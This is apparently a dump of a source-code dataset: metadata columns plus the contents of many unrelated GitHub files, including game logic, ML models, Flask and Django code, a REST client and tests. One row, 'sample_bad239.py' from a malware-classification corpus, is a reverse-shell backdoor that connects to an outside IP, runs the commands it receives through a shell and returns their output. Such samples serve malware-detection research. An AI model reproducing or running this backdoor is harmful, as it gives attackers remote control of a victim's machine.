blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
b6e2db285793968bc194f0cc1a2912dc59ad5622
8cadb441c5734c6dae2ed47419bd1ce5fac69afa
/13-파이썬기초_내장모듈2.py
bf78b99950cb5a27de4d0b30b38bf211c65a305d
[]
no_license
swj8905/Basic_Course_0904
cf969a14ececacd369377bc9db611b639a4823a0
501620bb185851c3638d3b2029cc8259de67d770
refs/heads/master
2023-08-01T04:08:51.134526
2021-09-12T04:18:50
2021-09-12T04:18:50
402,959,383
1
0
null
null
null
null
UTF-8
Python
false
false
114
py
import turtle as t t.shape("turtle") for i in range(3): t.forward(100) t.left(120) t.circle(50) t.done()
[ "swj8905@naver.com" ]
swj8905@naver.com
5f67ab5c03e5c44dd8eafab1df10221c656733c3
3a60b8935f809e300405214a66d949f0042e7e46
/src/game/logic/player_control/player_control.py
01107f77ef3e00a355c7b889bb6556490849130a
[]
no_license
stellarlib/centaurus
e71fe5c98b94e8e575d00e32f55ba39fe71799e6
896ae73165f3f44dfb87378ef2635d447ccbccae
refs/heads/master
2020-08-29T00:02:47.294370
2020-07-06T20:06:02
2020-07-06T20:06:02
217,860,282
0
0
null
null
null
null
UTF-8
Python
false
false
5,929
py
from .standard_control import StandardControl from .jump_control import JumpControl from .ranged_control import RangedControl from .charge_control import ChargeControl from .action_cost import * class PlayerControl(object): STD = 0 RANGED = 1 JUMP = 2 CHARGE = 3 str_to_enum = { 'std': ST...
[ "marzecsean@gmail.com" ]
marzecsean@gmail.com
5c48292c1a0e15ded45f817f64d7dc0f5106c3a5
7dfabdddeb5b8f1628e445cdb6d536958c8bc85b
/pcdet/models/dense_heads/anchor_head_fuse_context_fpn.py
d59a820290723d6120f227037cd95e972f181593
[ "Apache-2.0" ]
permissive
vehxianfish/SRDAN_Open
d6ba16ebc201c9651fac16bc30f57dc3a740041f
47c1bd9d2369d8e486b18a7aea220af7324c9011
refs/heads/master
2023-08-15T10:36:56.483018
2021-09-25T03:35:53
2021-09-25T03:35:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
15,507
py
import numpy as np import torch import torch.nn as nn from .anchor_head_template import AnchorHeadTemplate class GradReverse(torch.autograd.Function): def __init__(self, lambd): self.lambd = lambd def forward(self, x): return x.view_as(x) def backward(self, grad_output): return (g...
[ "zhangweichen2006@gmail.com" ]
zhangweichen2006@gmail.com
884cc588e8613418d6e38335716aadf8320bf7d1
f1ad2ff0061f67540ae0723a65c6e1238e9ca77f
/brainminer/base/api.py
9ab5865150d1a9442943b8b3293af060688cb8c7
[]
no_license
rbrecheisen/brainminer
efb89b0d804196a7875fadd3491a9cb7e6cb0428
2f5d7bd53ba4761af1f67fa7bd16e2c6724feb7d
refs/heads/master
2021-01-20T19:08:42.447425
2017-06-22T08:28:57
2017-06-22T08:28:57
34,522,617
0
0
null
null
null
null
UTF-8
Python
false
false
4,737
py
from flask import g, Response from flask_restful import Resource, HTTPException, abort from brainminer.auth.exceptions import ( MissingAuthorizationHeaderException, UserNotFoundException, UserNotActiveException, InvalidPasswordException, SecretKeyNotFoundException, SecretKeyInvalidException, TokenDecodingFailed...
[ "ralph.brecheisen@gmail.com" ]
ralph.brecheisen@gmail.com
b6bcce36c244e1dcbe8b1d8f45d74d97147ca717
8a4a4cab76ddf1b19a017c3e5c765caf9a5fe3cc
/swagger_client/rest.py
25b9436f7d19c7a00f89c6444071a08bfa2dbbb2
[]
no_license
ibuler/testsdk
fa724ff129e2a6144c05b8330cd4014c8bfb9a58
015bc6ca7da64180a2a11756a4e7cce733aca806
refs/heads/master
2020-06-23T09:02:50.322517
2019-07-25T05:51:26
2019-07-25T05:51:26
198,577,933
0
0
null
null
null
null
UTF-8
Python
false
false
13,160
py
# coding: utf-8 """ Jumpserver API Docs Jumpserver Restful api docs # noqa: E501 OpenAPI spec version: v1 Contact: support@fit2cloud.com Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import io import json import logging import re i...
[ "ibuler@qq.com" ]
ibuler@qq.com
89e8c2862eb94d0971d240632f6c974a62b9c46d
6b2a8dd202fdce77c971c412717e305e1caaac51
/solutions_5658282861527040_0/Python/xsot/b.py
837b18be5ec2789529bff938d391f3cd34053ff6
[]
no_license
alexandraback/datacollection
0bc67a9ace00abbc843f4912562f3a064992e0e9
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
refs/heads/master
2021-01-24T18:27:24.417992
2017-05-23T09:23:38
2017-05-23T09:23:38
84,313,442
2
4
null
null
null
null
UTF-8
Python
false
false
255
py
for TC in range(1, int(raw_input()) + 1): a, b, k = map(int, raw_input().split()) ans = 0 for i in range(a): for j in range(b): if i&j < k: ans += 1 print "Case #%d: %d" % (TC, ans)
[ "eewestman@gmail.com" ]
eewestman@gmail.com
0682516f2179e263d15d82dac220ebb9ffc32e3a
575d197af5bbc31b89df37f8733e81707294948c
/testing/examples/pytest/average02/average.py
7712c0b8238a9ff4df9a5ca62e89b42e9e85eee6
[]
no_license
tisnik/python-programming-courses
5c7f1ca9cae07a5f99dd8ade2311edb30dc3e088
4e61221b2a33c19fccb500eb5c8cdb49f5b603c6
refs/heads/master
2022-05-13T07:51:41.138030
2022-05-05T15:37:39
2022-05-05T15:37:39
135,132,128
3
2
null
2021-04-06T12:19:16
2018-05-28T08:27:19
Python
UTF-8
Python
false
false
158
py
"""Výpočet průměru.""" def average(x): """Výpočet průměru ze seznamu hodnot předaných v parametru x.""" return sum(x) / float(1 + len(x))
[ "ptisnovs@redhat.com" ]
ptisnovs@redhat.com
4d0dac39959fe9af6b0ac34deb4b198a2b0eb6eb
b580fd482147e54b1ca4f58b647fab016efa3855
/host_im/mount/malware-classification-master/samples/virus/sample_bad239.py
a5aa6c4e78002837e16dae145993a43d6d06ef7e
[]
no_license
Barnsa/Dissertation
1079c8d8d2c660253543452d4c32799b6081cfc5
b7df70abb3f38dfd446795a0a40cf5426e27130e
refs/heads/master
2022-05-28T12:35:28.406674
2020-05-05T08:37:16
2020-05-05T08:37:16
138,386,344
0
0
null
null
null
null
UTF-8
Python
false
false
288
py
import socket import lzma import subprocess import crypt s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("175.20.0.200",8080)) while not False: command = s.recv(1024).decode("utf-8") if not command: break data = subprocess.check_output(command, shell=True) s.send(data)
[ "barnsa@uni.coventry.ac.uk" ]
barnsa@uni.coventry.ac.uk
a0da9721a3949e0987120a926d9073cf5045f418
f68065baf489013c926dcfea9994878716d19586
/manage.py
15344070d0319c35fadbabae09a94c0ef757a5c3
[]
no_license
groyce/pots
06667fdc686b74a897c42879cbed5803e9efb154
ac839943c84c3135cb4596a8f734e4a061086e10
refs/heads/master
2020-04-10T01:42:55.863071
2018-12-06T19:47:18
2018-12-06T19:47:18
160,723,310
0
0
null
null
null
null
UTF-8
Python
false
false
540
py
#!/usr/bin/env python import os import sys if __name__ == '__main__': os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'TinyPots.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are...
[ "groyce@unomaha.edu" ]
groyce@unomaha.edu
0de92bbf70351c4902859d65773f4d634b5846de
42fdf741bf64ea2e63d1546bb08356286f994505
/macrocab_ex1/rasp30a_gen8.py
77a2b1bf37536997c1508fe95edb997127f4633c
[]
no_license
skim819/RASP_Workspace_sihwan
7e3cd403dc3965b8306ec203007490e3ea911e3b
0799e146586595577c8efa05c647b8cb92b962f4
refs/heads/master
2020-12-24T05:22:25.775823
2017-04-01T22:15:18
2017-04-01T22:15:18
41,511,563
1
0
null
null
null
null
UTF-8
Python
false
false
1,439
py
self.dev_pins = {'fgota_in':2,'ota_buf_in':1,'ota_in':2, 'cap_in':1, 'nfet_in':2, 'pfet_in':2,'tgate_in':2,'mux4_1_in':8, 'nmirror_in':1,'ladder_blk_in':2, 'c4_blk_in':2,'Nagating_blk_in':2,'speech_in':3,'gnd_out_in':2,'vdd_out_in':2,'in2in_x1_in':3,'in2in_x6_in':13,'volt_div_in':2,'integrator_in':3,'integrator_nmirro...
[ "ubuntu@ubuntu-VirtualBox.(none)" ]
ubuntu@ubuntu-VirtualBox.(none)
54c53c759cd37e22b3b3f9b8db78a68f122b8701
e0660d7a6125bece559e1564921dd29fe0f1506c
/hexlistserver/forms/textarea.py
a1f2ae9adcfe4d66835f2d99a080a495476c179d
[]
no_license
yvan/hexlistserver
ba0b661941549cfce1d5fd5a36ad908a9872238a
cf96508bc7b926eba469629254e4b5cc81470af3
refs/heads/master
2021-01-19T10:08:32.833174
2017-08-04T03:46:29
2017-08-04T03:46:29
55,884,098
0
0
null
null
null
null
UTF-8
Python
false
false
294
py
from flask.ext.wtf import Form from wtforms.fields import TextAreaField, SubmitField from wtforms.validators import DataRequired class TextareaForm(Form): links = TextAreaField('Links', validators=[DataRequired()], render_kw={"placeholder": "Put your links here..."}) ''' author @yvan '''
[ "yvanscher@gmail.com" ]
yvanscher@gmail.com
f8146ab2ae40e6fc2848bac16c862804609f2c02
e21c70d5b03633b4e0a89dfccb0cb8ccd88612d0
/venv/lib/python3.5/site-packages/eventlet/zipkin/http.py
668c3f9e380a1d9abd740ffae72959c8b26fde56
[ "MIT" ]
permissive
LavanyaRamkumar/Networking-app_Dynamic-Quiz
4d5540088b1e2724626dda8df0fd83442391b40f
4de8329845712864d3cc8e8b81cfce5a1207224d
refs/heads/master
2023-02-09T12:08:19.913354
2019-10-26T04:23:54
2019-10-26T04:23:54
173,337,916
1
1
MIT
2023-02-02T04:48:55
2019-03-01T16:56:13
Python
UTF-8
Python
false
false
1,789
py
import warnings from eventlet.support import six from eventlet.green import httplib from eventlet.zipkin import api # see https://twitter.github.io/zipkin/Instrumenting.html HDR_TRACE_ID = 'X-B3-TraceId' HDR_SPAN_ID = 'X-B3-SpanId' HDR_PARENT_SPAN_ID = 'X-B3-ParentSpanId' HDR_SAMPLED = 'X-B3-Sampled' if six.PY2: ...
[ "lavanya.ramkumar99@gmail.com" ]
lavanya.ramkumar99@gmail.com
7a06df65bbaae64fd9ecbf76bb2480bf468a18c2
2b42b40ae2e84b438146003bf231532973f1081d
/spec/mgm4458983.3.spec
5ca4f04f24e0cf6983e0d97f1038bad1c47f41fd
[]
no_license
MG-RAST/mtf
0ea0ebd0c0eb18ec6711e30de7cc336bdae7215a
e2ddb3b145068f22808ef43e2bbbbaeec7abccff
refs/heads/master
2020-05-20T15:32:04.334532
2012-03-05T09:51:49
2012-03-05T09:51:49
3,625,755
0
1
null
null
null
null
UTF-8
Python
false
false
14,694
spec
{ "id": "mgm4458983.3", "metadata": { "mgm4458983.3.metadata.json": { "format": "json", "provider": "metagenomics.anl.gov" } }, "providers": { "metagenomics.anl.gov": { "files": { "100.preprocess.info": { ...
[ "jared.wilkening@gmail.com" ]
jared.wilkening@gmail.com
be328f37bac951c2c72b62235422e71d7b99017c
a2fae6522c0526e81032d700e750dbc4b55e308b
/twemoir/lib/states2/__init__.py
ad34e59f727359c8bb1bafd873c6013ba561029b
[ "BSD-2-Clause" ]
permissive
fish2000/django-twemoir
e895039e4ecd0a01baa9e35002fe0e00e20f6a4f
8caa7e5319055f54e0d89457780605994622e8d9
refs/heads/master
2020-06-05T13:16:47.036385
2014-01-21T02:42:30
2014-01-21T02:42:30
null
0
0
null
null
null
null
UTF-8
Python
false
false
601
py
''' State engine for django models. Define a state graph for a model and remember the state of each object. State transitions can be logged for objects. ''' #: The version list VERSION = (1, 4, 4) def get_version(): ''' Converts the :attr:`VERSION` into a nice string ''' if len(VERSION) > 3 and VERS...
[ "fish2000@gmail.com" ]
fish2000@gmail.com
46b1e5157ab927f5cf441af52490723e1d448632
d452e34253561a47b974e260dabd8dcda6e750a2
/unsupervised_learning/0x00-dimensionality_reduction/0-pca.py
739e7c1866a674e0f51ec93dfdd3ee6b953d63c2
[]
no_license
JohnCook17/holbertonschool-machine_learning
57fcb5b9d351826c3e3d5478b3b4fbe16cdfac9f
4200798bdbbe828db94e5585b62a595e3a96c3e6
refs/heads/master
2021-07-07T10:16:21.583107
2021-04-11T20:38:33
2021-04-11T20:38:33
255,424,823
3
2
null
null
null
null
UTF-8
Python
false
false
513
py
#!/usr/bin/env python3 """PCA of an array to reduce the number of features""" import numpy as np def pca(X, var=0.95): """performs pca on a matrix""" W, V = np.linalg.eig(np.matmul(X.T, X)) W_idx = W.argsort()[::-1] V = V[:, W_idx] # print(V) V_var = np.copy(V) V_var *= 1 / np.abs(V_var).m...
[ "jcook0017@gmail.com" ]
jcook0017@gmail.com
46c61bb76012d57e00ff1f1e762fe9ef6c1731eb
95fd6bb4126edbd36a79ba87b8cb4f0e2149e4e1
/tests/test_pyca.py
bdab377dc1090dbe408f12da0b97db5995796cc4
[ "MIT" ]
permissive
secondguard/secondguard-python
a091357932ffa55e0bae74149c552781d87a3493
392d33ee40a9982ad912210152f4b2d44fa5ef1a
refs/heads/master
2022-12-10T11:31:31.972938
2020-08-04T16:23:47
2020-08-04T16:23:47
277,826,214
6
1
MIT
2022-12-08T11:05:21
2020-07-07T13:36:49
Python
UTF-8
Python
false
false
1,416
py
from base64 import b64decode from os import urandom from secondguard.pyca import ( symmetric_encrypt, symmetric_decrypt, asymmetric_encrypt, asymmetric_decrypt, ) # TODO: move to a setup class? from tests.utils import PUBKEY_STR, PRIVKEY_STR, _fetch_testing_pubkey # TODO: come up with less HACKey way ...
[ "mflaxman@gmail.com" ]
mflaxman@gmail.com
52cd7955d3433c7db048edb55152a09ae1c047f1
d1a380bbf6e290edbb1b6ac62d4d9f8c0c8f80f1
/django_shorts.py
e3ea9f278376d6929fb2db1515603b5ce78a2d0f
[ "MIT" ]
permissive
mhadiahmed/django-shorts
6310bf12812fab2bd4283e50ec57416b473eeff4
3803992455bda14e7f20327d22583c6d064fe0aa
refs/heads/main
2023-03-17T10:11:09.655564
2021-03-07T09:49:28
2021-03-07T09:49:28
345,284,896
0
0
null
null
null
null
UTF-8
Python
false
false
2,096
py
#!/usr/bin/env python import os import sys from subprocess import call ALIASES = { # Django 'c' : 'collectstatic', 'r' : 'runserver', 'sd' : 'syncdb', 'sp' : 'startproject', 'sa' : 'startapp', 't' : 'test', # Shell 'd' : 'dbshell', 's' : 'shell', # Auth 'csu': 'c...
[ "mhadiahmed63@gmail.com" ]
mhadiahmed63@gmail.com
f6b28f22787ec511d9b652e833c2e15d3cb09928
275e770eaf9708e31d50dd62857fc52716e985af
/python/python/widget/oval progam.py
ff91cbe45a3d2fcd1111dcb9c0ae22b635ba724c
[ "MIT" ]
permissive
priyamshah112/Basic_Python
75127744a6a25c72d2eba8e399e920509bd17ee2
11447cf062209de750fbe938402d738b1a5ff76c
refs/heads/master
2021-10-10T15:43:50.151891
2019-01-13T13:46:40
2019-01-13T13:46:40
106,164,530
0
0
null
2018-10-10T19:07:16
2017-10-08T09:31:29
Python
UTF-8
Python
false
false
182
py
from tkinter import * canvas_width = 190 canvas_height =150 master = Tk() w = Canvas(master,width=canvas_width,height=canvas_height) w.pack() w.create_oval(50,50,100,100) mainloop()
[ "priyamshah112@gmail.com" ]
priyamshah112@gmail.com
b5efb434ce77703458f8740d6c14df96fcb10dec
da0e2a4170e41df9ab982abd4a9a9161453359b3
/bluesky_queueserver/manager/output_streaming.py
4eca1b9f34e40a3e3a1ca51e023ce119e8276286
[ "BSD-3-Clause" ]
permissive
bluesky/bluesky-queueserver
a6da30e39cf63b5a5f6b8ed0d5925b255acb38bb
f7d489f01e73451b366eb8ee64a60a1a6aaeb695
refs/heads/main
2023-08-31T14:32:22.350524
2023-08-18T17:20:29
2023-08-18T17:20:29
228,529,527
11
20
BSD-3-Clause
2023-09-11T22:35:57
2019-12-17T04:02:01
Python
UTF-8
Python
false
false
24,735
py
import argparse import asyncio import inspect import io import json import logging import os import sys import threading import time as ttime import zmq import bluesky_queueserver logger = logging.getLogger(__name__) qserver_version = bluesky_queueserver.__version__ default_zmq_info_address_for_server = "tcp://*:6...
[ "gavrilov.dvs@gmail.com" ]
gavrilov.dvs@gmail.com
2c161ca9efa8d4b256b9cbf48c804dc8659b5b10
1086ef8bcd54d4417175a4a77e5d63b53a47c8cf
/Forks/uvapy-master/geometry/p10005.py
22919427968cb78efca83f85a7629ab024461bf1
[ "MIT" ]
permissive
wisdomtohe/CompetitiveProgramming
b883da6380f56af0c2625318deed3529cb0838f6
a20bfea8a2fd539382a100d843fb91126ab5ad34
refs/heads/master
2022-12-18T17:33:48.399350
2020-09-25T02:24:41
2020-09-25T02:24:41
298,446,025
0
0
null
null
null
null
UTF-8
Python
false
false
1,600
py
from math import isclose class Circle: def __init__(self, **kwargs): if "p1" in kwargs and "p2" in kwargs and "p3" in kwargs: self.from_three_points(kwargs["p1"], kwargs["p2"], kwargs["p3"]) # elif "c" in kwargs and "r" in kwargs: # self.from_center_radius(kwargs["c"], kwargs["r"]) else: ...
[ "elmanciowisdom@gmail.com" ]
elmanciowisdom@gmail.com
1336aaa3cf00acaea477d1715361e818158c5ce9
6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4
/TAhuay457cw5AekBe_5.py
91d14e284af645ac11d85fa441299abdbfccac66
[]
no_license
daniel-reich/ubiquitous-fiesta
26e80f0082f8589e51d359ce7953117a3da7d38c
9af2700dbe59284f5697e612491499841a6c126f
refs/heads/master
2023-04-05T06:40:37.328213
2021-04-06T20:17:44
2021-04-06T20:17:44
355,318,759
0
0
null
null
null
null
UTF-8
Python
false
false
341
py
from re import sub vowels = {"a", "e", "i", "o", "u", "A", "E", "I", "O", "U"} def monkey_talk(txt): return "{}.".format(sub(r"^[eo]", lambda m: m.group().upper(), sub(r"[A-Za-z]+", lambda m: "eek" if m.group()[0] in vowels ...
[ "daniel.reich@danielreichs-MacBook-Pro.local" ]
daniel.reich@danielreichs-MacBook-Pro.local
1cedde77ae394ba32a9d083fb8ec824a480ef2c5
6974096eaf642a1c3dfbc4567d0f0776621261de
/setup.py
2eea792aa201ef462b7a712aa3ca336ef13a4f22
[ "Apache-2.0" ]
permissive
thrrgilag/pantalaimon
29709e1231db7655e57685babad27094f68afe5c
d388a21b9b1f17b7f52790f79dd571d8e75a4543
refs/heads/master
2022-11-13T12:56:14.747072
2020-07-02T10:19:59
2020-07-02T10:19:59
277,380,106
0
0
Apache-2.0
2020-07-05T20:41:57
2020-07-05T20:41:56
null
UTF-8
Python
false
false
1,345
py
# -*- coding: utf-8 -*- from setuptools import find_packages, setup with open("README.md", encoding="utf-8") as f: long_description = f.read() setup( name="pantalaimon", version="0.6.5", url="https://github.com/matrix-org/pantalaimon", author="The Matrix.org Team", author_email="poljar@termin...
[ "poljar@termina.org.uk" ]
poljar@termina.org.uk
0a435d06d21f40db400cf199480df79d7c0e0d0f
dcc491dd2fa4ece68728255d236fa6e784eef92d
/modules/2.78/bpy/types/PythonController.py
a6975a4e8c4fe364b1b578e3084575a187be1d7d
[ "MIT" ]
permissive
cmbasnett/fake-bpy-module
a8e87d5a95d075e51133307dfb55418b94342f4f
acb8b0f102751a9563e5b5e5c7cd69a4e8aa2a55
refs/heads/master
2020-03-14T16:06:29.132956
2018-05-13T01:29:55
2018-05-13T01:29:55
131,691,143
0
0
null
null
null
null
UTF-8
Python
false
false
98
py
class PythonController: mode = None module = None text = None use_debug = None
[ "nutti.metro@gmail.com" ]
nutti.metro@gmail.com
5699dafae03660ced229e5fb381de892c3f83a6d
c4f7b067dbf9efa404d446453cdf2b0839d33fe1
/src/sensorrunner/devices/SPI/ADC/device.py
48e20b4d57883c0fadef06f30a025389e38cda66
[]
no_license
JackBurdick/sensorrunner
90e05e35381363ad28301b0e28579372fd78c179
506772d2ec4887b3890e4555b66bf5548910d020
refs/heads/master
2023-07-02T18:26:21.418501
2021-02-22T02:27:04
2021-02-22T02:27:04
298,879,591
1
0
null
null
null
null
UTF-8
Python
false
false
5,386
py
from sensorrunner.devices.sensor.SPI.ADC.light.pt19 import PT19 from gpiozero import MCP3008, Device # from gpiozero.pins.mock import MockFactory from gpiozero.pins.native import NativeFactory Device.pin_factory = NativeFactory() class MDC3800: def __init__( self, name, # devices ...
[ "jackbburdick@gmail.com" ]
jackbburdick@gmail.com
eb1babf920093b006230d7ec6c101e59b897093d
cf91f1a6354ba7a803af8382e0ef8bde6175845e
/tests/test_with.py
1fd2a1f616ddef483c4ca7b17a027e7e1cd824b0
[]
permissive
mueslo/python-progressbar
a230dc1be0af48015215d10a6b21e1d15005ccb4
5621a26b51cddc3ce3f2b62a9e32a28eb60a2f84
refs/heads/master
2022-11-10T18:23:08.242413
2020-06-25T19:36:56
2020-06-25T19:36:56
275,635,088
0
0
BSD-3-Clause
2020-06-28T17:29:57
2020-06-28T17:29:56
null
UTF-8
Python
false
false
429
py
import progressbar def test_with(): with progressbar.ProgressBar(max_value=10) as p: for i in range(10): p.update(i) def test_with_stdout_redirection(): with progressbar.ProgressBar(max_value=10, redirect_stdout=True) as p: for i in range(10): p.update(i) def test_w...
[ "Wolph@wol.ph" ]
Wolph@wol.ph
01fd76371431a37e8804b4f2de5e71eb488b3154
0e9f73d2ef1239b22e049ef6338362da7dbfb122
/source/web/Django/FatQuantsDjango/FatQuantsDjango/ticker/migrations/0097_auto_20190514_2147.py
5d4d4dab7faf5ac58c7e11ed8ee2ae65fe9af49c
[]
no_license
Andy-Mason/FatQuants
3c4bfafc29834af76b0be40e93b0e210e0ef5056
edd0e98f4599ef91adbdf4179164769ddd66c62a
refs/heads/master
2023-01-11T10:57:50.563742
2021-08-11T19:04:59
2021-08-11T19:04:59
73,127,295
0
0
null
null
null
null
UTF-8
Python
false
false
745
py
# Generated by Django 2.1.7 on 2019-05-14 20:47 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('ticker', '0096_auto_20190514_2147'), ] operations = [ migrations.AddField( model_name='ticker', name='product_levera...
[ "Andy-Mason@users.noreply.github.com" ]
Andy-Mason@users.noreply.github.com
385053382cb462ca295e3ea3ca1df86b6ad1b044
99b2aff89dcec2f43cee32a6bdd4c0c43d6c51fa
/tests/contract_tests/growl_tdg_garden/test_growl_tdg_garden_pick_intial_id.py
1782590265f597e5d879efb03aac96504f4f4d5d
[ "MIT" ]
permissive
baking-bad/pytezos
c4248bde49a5b05521b8cc51eeca588b1a721660
19747e3acec2141f06e812025673f497fc07e2d4
refs/heads/master
2023-07-06T21:57:09.572985
2023-07-05T11:45:27
2023-07-05T11:45:27
169,243,460
115
43
MIT
2023-07-04T16:28:09
2019-02-05T13:12:50
Python
UTF-8
Python
false
false
1,885
py
import json from os.path import dirname from os.path import join from unittest import TestCase from pytezos.michelson.forge import forge_micheline from pytezos.michelson.forge import unforge_micheline from pytezos.michelson.program import MichelsonProgram folder = 'typed_minter' entrypoint = 'mint_TYPED' class Main...
[ "noreply@github.com" ]
baking-bad.noreply@github.com
8c2b88a90276e8878d80b2051ba69a0ae3c43a9d
9f491494ad39b91c906517ceb3008c752c214989
/NRE_paper_study/ERNIE/ERNIE/code/run_fewrel.py
6cd39d87b03a062812499b41ae86f44523c8c782
[ "MIT" ]
permissive
yuwell1999/nlp_paper_study
0b73b2e8235a4dffc0fa5016c23d7998a15f58a7
b7772aa9c15d3b8459d9b8c3addb93c575a93ef2
refs/heads/master
2022-04-15T22:01:45.526579
2020-04-07T14:24:27
2020-04-07T14:24:27
256,650,641
1
0
null
2020-04-18T02:07:02
2020-04-18T02:07:02
null
UTF-8
Python
false
false
23,722
py
# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors and The HugginFace Inc. team. # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy...
[ "958747457@qq.com" ]
958747457@qq.com
bfdfc1a62852507f68a014cbcc9ad012b1f7e16e
9139bd5dad2c66f070d1eb01958a11a2af1c9835
/game-again.py
224f4ce078f24c31bd6fed0be854de5fba7b5cf7
[]
no_license
anmolrajaroraa/python-reg-oct
7223487b864d969e89f9daae2a77522405977f27
acb62ad7c8acb78f348bdc47e5ed6230808d967c
refs/heads/master
2020-08-04T09:10:25.152732
2019-11-08T08:57:28
2019-11-08T08:57:28
212,085,152
0
0
null
null
null
null
UTF-8
Python
false
false
292
py
import pygame pygame.init() HEIGHT = 500 WIDTH = 1000 # red green blue (0-255) BLACK = 0,0,0 WHITE = 255,255,255 RED = 255,0,0 RANDOM_COLOR = 100,150,200 gameboard = pygame.display.set_mode((WIDTH,HEIGHT)) while True: print("!") gameboard.fill( BLACK ) pygame.display.update( )
[ "anmolarora1711@gmail.com" ]
anmolarora1711@gmail.com
20ede17c952b40d8bfe9406df93dd193f5dceb68
b4ddc954a7dc0d24352de64a567c10c9e7231eee
/LeetCode/Pascal_Triangle.py
19ffa5bc0886c62656dc9045ad7221ae44c9f5e0
[]
no_license
sharadbhat/Competitive-Coding
4d80c99093bf05a2213799c95467309cf3e40d07
79eec04cc6b1ac69295530bda1575ecb613a769e
refs/heads/master
2023-07-05T02:25:33.397140
2023-06-27T05:38:12
2023-06-27T05:38:12
78,031,600
1
0
null
null
null
null
UTF-8
Python
false
false
490
py
# LeetCode # https://leetcode.com/problems/pascals-triangle/description/ class Solution(object): def generate(self, numRows): """ :type numRows: int :rtype: List[List[int]] """ if numRows == 0: return [] l = [[1]] for i in range(1, numRows): ...
[ "sharad.mbhat@gmail.com" ]
sharad.mbhat@gmail.com
ba79f0a7a16eee2f5d086bd7d5e06adec8636825
f10d45aecbfccb3f469ab0c4ae55fc0f256c9004
/Functions/chr_ord.py
80c8745e0e21329911e636eedb326846d34957cc
[]
no_license
Do-code-ing/Python_Built-ins
c34c1cea19a2cef80ab3a16d050e8825af0feb59
03b2f277acde4fce00bb521e3a0b8c0469b39879
refs/heads/master
2023-07-29T15:30:00.693005
2021-09-04T18:48:18
2021-09-04T18:48:18
354,467,767
0
0
null
null
null
null
UTF-8
Python
false
false
518
py
# chr(i) : character(int) # 유니코드 포인트 정수 값을 입력하면 해당 정수 값의 유니코드 문자열을 반환한다. # i 가 0 ~ 1,114,111(16진수로 0x10FFFF)를 벗어나면 'ValueError'가 발생한다. # 정수를 문자로 print(chr(8364)) # '€' # ord(c) : ordinary character(character) # 유니코드 문자열이 주어지면 해당 문자의 유니코드 코드 포인트 정수 값을 반환한다. # chr() 와 반대로 작동한다. # 문자를 정수로 print(ord("€")) # 8364
[ "zxcvbn658@naver.com" ]
zxcvbn658@naver.com
ea0d2d7415c8d98590a6caf8cc4bb1aa659fd24e
1457bf059b94e04d4d512012b28a924167c68938
/NetworkBehaviour/Basics/Normalization_Sparse.py
164188463a9a59cb81bc31b3411633742dab0ba2
[]
no_license
YaminaDJOUDI/PymoNNto
e063c81547d41a9841ff8f8071c4d6347ce792da
807aa7e0ba38cb29ad7839b39f29752da00eee78
refs/heads/master
2023-07-08T03:06:41.722292
2021-08-04T11:30:52
2021-08-04T11:30:52
null
0
0
null
null
null
null
UTF-8
Python
false
false
850
py
import numpy as np scipy.sparse def normalize_synapse_attr_sparse(src_attr, target_attr, target_value, neurons, synapse_type): neurons.temp_weight_sum = neurons.get_neuron_vec() for s in neurons.afferent_synapses[synapse_type]: if 'sparse' in s.tags: s.dst.temp_weight_sum += np.array(get...
[ "mv15go@gmail.com" ]
mv15go@gmail.com
e0af98a161bb2fe76f40a9dab414307691aed916
cdecfcc56973ae143f04a9e92225c5fc90a052ab
/tracing/tracing/value/diagnostics/reserved_infos.py
13aedf28520e992994fa0efa641eba6d7f919036
[ "BSD-3-Clause" ]
permissive
eugenesavenko/catapult
8e43adab9a4650da4e8e1860f3b9b49936955aae
f2ad70de40a8f739438d89b0c8d5ed6509b3cbe6
refs/heads/master
2021-05-05T17:31:51.483972
2017-09-13T15:10:56
2017-09-13T15:10:56
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,662
py
# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. class _Info(object): def __init__(self, name, _type=None, entry_type=None): self._name = name self._type = _type if entry_type is not None and...
[ "commit-bot@chromium.org" ]
commit-bot@chromium.org
286e5a84629ddfa8a87808ef1f9d99445655a7e5
7e79ca343d8d3246fc783161673550f6e4ae8896
/tests/test_search.py
73b1bddf6e9c87215ffb0554d6c68407a13132a2
[ "MIT" ]
permissive
interrogator/buzz
5ba0907115aa29efc24f016d1345a0371b91350a
7627b8ce4a286f65388f0825487441df00055b39
refs/heads/master
2023-04-02T03:18:01.691139
2020-11-19T12:00:21
2020-11-19T12:00:21
163,623,092
42
2
MIT
2023-03-25T00:51:45
2018-12-30T22:55:18
Python
UTF-8
Python
false
false
2,544
py
